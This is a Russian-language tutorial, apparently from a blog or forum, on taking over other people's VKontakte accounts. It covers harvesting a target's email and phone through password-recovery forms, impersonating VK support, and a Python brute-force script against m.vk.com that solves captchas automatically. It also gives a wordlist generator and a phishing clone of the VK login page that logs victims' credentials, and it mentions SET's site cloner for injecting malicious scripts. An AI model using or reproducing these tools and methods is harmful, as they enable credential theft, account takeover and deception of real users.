Как взломать ВКонтакте
Как же взломать вконтакте?
Простой ответ - никак! Более полный - если учесть, что большинство пользователей совершают ошибки, то взлом возможен, но не путаем понятия.
Уязвимости, позволяющей взламывать абсолютно любого юзера за пять секунд нет и не будет. А если и будет, то никто не собирается вам ее предлагать. Поэтому, те способы, которые представлены ниже, тем или иным образом направлены на обман юзера и используют отсутствие у него мозга.
Разделим весь процесс на несколько этапов. Первоначально нам понадобится цель, свободное время, безопасный доступ к вк.
Сбор информации 😐
На этом этапе мы имеем страницу юзера, которого бы желательно взломать и нам необходимо собрать, как можно больше полезной информации, которая бы впоследствии помогла в успешном взломе.
___________________________________
Что же такого имеется на странице?
1) Урл страницы. Сохраняем себе айди или если там имеется буквенная замена, то ее. Аккаунты и прочее данного человека, всякого рода твиттеры и прочее.
2) Почта. Разумеется мы бы хотели заиметь почту цели. Писать ему/ей напрямую и выпытывать? В большинстве случаев это не потребуется. Если человек не только попал в сеть, вы сможете найти почту путем простого гугления.
___________________________________
Например особо удобно отыскивать мыло на мэйл ру. Один из способов - это просто погуглить фио цели и дату рождения. Или же другого рода такие комбинации. Если цель имеет мой мир на маиле, то почта будет в коде страницы или же в урл.
Если просто имеется почта без соц.сети от мейла ее тоже можно запросто выяснить зарегавши себе другую почту на этом сервисе и поискав в мессенджере от мэйла.😏
И как вариант вы можете поискать полезную информацию с помощью имеющихся у цели аккаунтов. То есть берем например никнейм в Твиттере/Фейсбуке/другое и пробиваем по популярным почтовым сервисам. Также в Твиттере можно использовать форму восстановления и узнать часть почты. В фейсбуке можно напрямую поискать аккаунт введя почту в поиск. И в некоторых сервисах есть такая штука, как импорт почтовых контактов и предложение добавить этих людей в друзья. То есть можно зарегать левую почту и узнать дополнительные аккаунты. Если почта не была запалена сразу, то найти ее можно только так с помощью последовательного поиска полезной информации.😬
3) Телефон. А как же узнать номер человека? Если исключить такие варианты, как публикация юзером своего номера на странице (есть и такие) и например использования им телефона для связи в каком-либо проекте, где он выложен в открытую (авито/свой сайт/покупка или продажа недвижимости/другое), то остается лишь этот вариант.🤥
Есть такой, не сказать открытый, но достаточно простой способ, позволяющий узнать номер юзера, если у вас имеется несколько его аккаунтов, привязанных к одной и той же почте.🤭
Пример: имеется почта юзера на маиле. Вводим ее в форму восстановления вконтакте и нам пишет часть номера. Вводим также ее на маиле в восстановлении. И если номер там привязан, то вы увидите уже другую часть номера. Если почта не привязана, то тогда там есть секретный вопрос.🤫
Перебираем его и заставляем юзера привязать мобилку на сервис. Теперь у вас не хватает лишь двух цифр от почты. Чтобы их узнать достаточно перебрать форму восстановления вк уже с помощью номера. Всего-то 99 раз. Можно и автоматизировать. А когда будет запрашивать фамилию страницы, как доп защиту, запросто вводим ее. Ведь мы же знаем страницу цели.😋
Также в некоторых случаях люди любят публиковать свой номер на странице, но закрывать часть номера звездочками, черточками и т. д. Если вам повезет, то будут незакрыты именно те цифры, которые вам недоступны в форме восстановления вк.😄
Взлом
В данном этапе вы должны получить доступ к аккаунту цели. Основные способы:
1) Социнженерия. Сразу скажу этот способ годится либо для совсем школьников, либо наоборот для стариков, которые мало что знают об интернете, но решили по каким-либо причинам зарегаться в соц.сети. Если вы хотите просто попрактиковаться, то новички вк могут быть найдены тут 👇
В основном тут используется простой механизм. Человек, который не разбирается в чем-то, подсознательно доверяет более опытным юзерам/админам/техподдержке и принимает их слова на веру.
Тут можно создать аккаунт представителя техподдержки, создать "официальную" почту администрации и прочее. И придумать некую ахуительную историю. Что новые юзеры обязаны проходить проверку после регистрации и дать например ссылку на некий тест, по итогу или для входа которого требуется логин-пасс от вк. Главное в общем-то не заострять внимание на пароле. Просто писать,что можете ли вы написать мне свои данные от аккаунта не стоит. Следует убедить пользователя, что он в безопасности. Этот способ хорошо сочетается с фейком. Кроме того продвинутые социнженеры могут узнав номер юзера позвонив (разумеется анонимно, используя sip) и развести напрямую. Кроме того все извлеченная вами информация, например известный вам номер телефона/упоминание фактов с указанием дат/другое косвенно говорит о том, что вы из техподдержки.🤠
В данном способе все зависит от вас, поэтому вы можете прокачать свои навыки на разного рода новичках в вк, а потом переходить к более-менее обычным юзерам.🤨
2) Умный брутфорс. Брутфорс - это перебор пароля, кто не в курсе. Данная атака сработает, если наша цель - среднестатический юзер, который ставит слабые пароли на свои аккаунты, для более легкого запоминания.😎
Для него нам понадобится, заточенный исключительно под нашего юзера словарь. Такой неоткуда не возьмешь, поэтому составляем сами. Что у нас есть? Пример (персонаж вымышленный).
Дата рождения - 17.11.1992 = 1711, 1992, 17111992
Возраст - 2016 - 1992 = 24
Имя - Стас = stas, ctac
Фамилия - Курягин = kuryagin,
Аккаунты - twitter.com/stasik_ku , facebook.com/stasss1992, stasss92 @ mail.ru = stasik_ku, stasss1992, stasss92
Увлечения - футбол, плавание, молодежка = football, swimming, molodejka, molodegka
Также есть страница вк, на которой написано какие пароли следует указывать, какие символы возможны и самые частые пароли.
Получился лист из 14 строк. Но из него еще нужно создать комбинации паролей, которые мог бы создать недалекий юзер.
Ниже небольшой скрипт на python, который этим и занимается.
#! coding:utf-8
import sys,os
razdel = ['_',':',';']
def uniq(seq):
seen = set()
seen_add = seen.add
return [x for x in seq if not (x in seen or seen_add(x))]
def brute_words(spisok):
spisok2 = []
for i in spisok:
spisok2.append(i)
spisok2.append(i[0].upper()+i[1:])
spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper())
spisok2.append(i.upper())
for j in spisok:
spisok2.append(i+j)
for m in razdel:
spisok2.append(j+m+i)
spisok2.append(j+i)
spisok2.append(i+i+j)
spisok2.append(j+j+i)
spisok2.append(i[0].upper()+i[1:]+j)
spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper()+j)
return uniq(spisok2)
def generate(spisok_file):
o = open(spisok_file,'r')
spisok = o.read().splitlines()
for i in brute_words(spisok):
print i
def main():
try:
argv1 = sys.argv[1]
generate(argv1)
except IndexError:
print "Нужно указать файл"
except IOError:
print "Нет такого файла"
if __name__ == "__main__":
main()
Из 14 получилось 1272 варианта.
Но что же с этим делать? Не сидеть же и перебирать вручную каждый пароль.
Разумеется, необходимо все более или менее автоматизировать.
Для этой цели есть скрипт, который брутит через мобильную версию вк.
#! coding: utf8
import grab,re,urllib2
from antigate import AntiGate
from grab import GrabTimeoutError
from time import sleep
cap_key = '123 ' #Ваш ключ с антигейт
def anti(key, file): #Получение решения капчи с антигейт
try:
try:
data = AntiGate(key, file)
return data
except KeyboardInterrupt:
print "Завершение"
except:
anti(key,file)
def save(url, file): #Скачивание файла по урл
f = urllib2.urlopen(url)
f2 = open(file, 'wb')
f2.write(f.read())
def cap_solve(img):
save(img, 'captcha.jpg')
key = anti(cap_key, 'captcha.jpg')
return key
def brute(login,passwords,save):
o = open(save,'w')
o2 = open(passwords,'r')
try:
int(login)
prefix = True
except:
prefix = False
g = grab.Grab()
g.go('http://m.vk.com')
for i in o2:
i2 = i.rstrip('\r\n')
g.doc.set_input('email',login)
g.doc.set_input('pass',i2)
g.doc.submit()
if g.doc.text_search(u'captcha'):
c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
c2 = 'http://m.vk.com' + c1
key = cap_solve(c2)
g.doc.set_input('email',login)
g.doc.set_input('pass',i2)
g.doc.set_input('captcha_key',str(key))
g.doc.submit()
print "cap"
if 'Подтвердить' in g.response.body:
if prefix:
prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0)
prefix2 = g.doc.rex_search('<span class="field_prefix"> [0-9]*</span>').group(0)
pre1 = re.findall('[0-9]{1,}', prefix1)[0]
pre2 = re.findall('[0-9]{1,}', prefix2)[0]
login = login.replace(pre1,'')
login = login.replace(pre2,'')
g.set_input('code', login)
g.submit()
print login + ':' + i2 + '--success'
o.write(login + ':' + i2 + '\n')
else:
o.write(login + ':' + i2 + '\n')
else:
if g.doc.rex_search('[^>]+').group(0) == 'Login | VK':
print login + ':' + i2 + '--fail'
else:
print login + ':' + i2 + '--success'
o.write(login + ':' + i2 + '\n')
o.close()
o2.close()
Он для одиночной цели, без прокси и многопоточности. Зато он может сам ввести недостающие цифры в защиту вк заходе с другой страны. Также с помощью антигейт запросто вводит капчи, которые появляются после 5-6 попытки ввода с одного айпи.
3) Фейк наше все. Данный способ предназначен для невнимательных людей. По большей части их либо завлекают халявой, либо отвлекают внимание с помощью многобукв. Ниже способ, как создать простой фейк на основе обычного сайта вк (страницы логина). Можете брать, как мобильную, так и основную версии зависит от того, с какого устройства будет заходить юзер. Насчет регистрации на хостинге и покупки похожего домена ничего писать не буду, так как это банально просто.
Ручной способ😞
Первым делом качаем страницу логина вк через ваш браузер. Затем смените кодировку html файла на utf-8.
Сначала определяем кодировку
file --mime-encoding file.html
Затем меняем с исходной на новую
iconv -f iso-8859-1 -t utf-8 file.html > vk2.html
Далее вам нужно создать управление страницей на серверном языке. Для этой цели можно использовать python. Можно заюзать простейший фреймворк под названием bottle. Его плюс, в том что ему не нужны никакие зависимости. Просто качаете файл скрипта с сайта и все.😉
@route('/')
def index():
return template('vk2.html')
@route('/Welcome! | VK_files/')
def server_static(filepath):
return static_file(filepath, root='./Welcome! | VK_files/')
После тестового запуска скрипта обнаружилась ошибка 404 на кое-каких файлах.
У нас к сожалению не имеется нужных картинок с сайта. Давайте положим их в отдельную папку images.
mkdir images
cd images
wget http://vk.com/images/hatf_vk.gif
wget "http://vk.com/images/darr_dd_out.gif"
wget "http://vk.com/images/backlink.gif"
mkdir icons
cd icons
wget "http://vk.com/images/icons/facebook_btn_icon.png"
wget "http://vk.com/images/icons/check.gif"
Пропишем новый роутинг в скрипте.
@route('/images/<filepath:path>')
def server_static(filepath):
return static_file(filepath, root='./images/')
Теперь все стало на порядок красивее. Вы конечно можете скачать также основные страницы, на которые можно перейти с основной не залогинившись, чтобы было правдоподобней (а потом поменять ссылки в основной), но и одной хватит.
Чего же не хватает? Ах да конечно. После логина ничего не происходит. Давайте изменим это.
Добавим роутинг для пост запроса. Найдем форму логина на странице. Изменим в ее коде action на пустое и удалим проверку onsubmit. И добавим обработку post-запроса.
@post('/')
def index():
login = request.forms.get('email')
password = request.forms.get('pass')
print "|Catch|-------------- " + login + ':' + password
with open("log.txt", "a") as myfile:
myfile.write(login + ':' + password + "\n")
return redirect('http://www.vk.com')
Так работает. Правда пока лишь после нажатия enter, но не по клику кнопки.
Переносим тег button, что под формой в коде в пределы формы и добавляем свойство type="submit".
После этого кнопка работает, как надо. Архив с готовым решением.
Автоматический способ
Если хотите использовать уже готовое решение, то можно воспользоваться тулкитом SET. Social Engineer Toolkit. Входит в дистрибутив кали. Можно установить на обычный debian на сервере, используя репы kali или установив все зависимости по отдельности.
Используем функцию site cloner в составе set. В нем есть дополнительные возможности, такие как встраивание вредоносных скриптов прямо в страницу или же добавление опасных flash.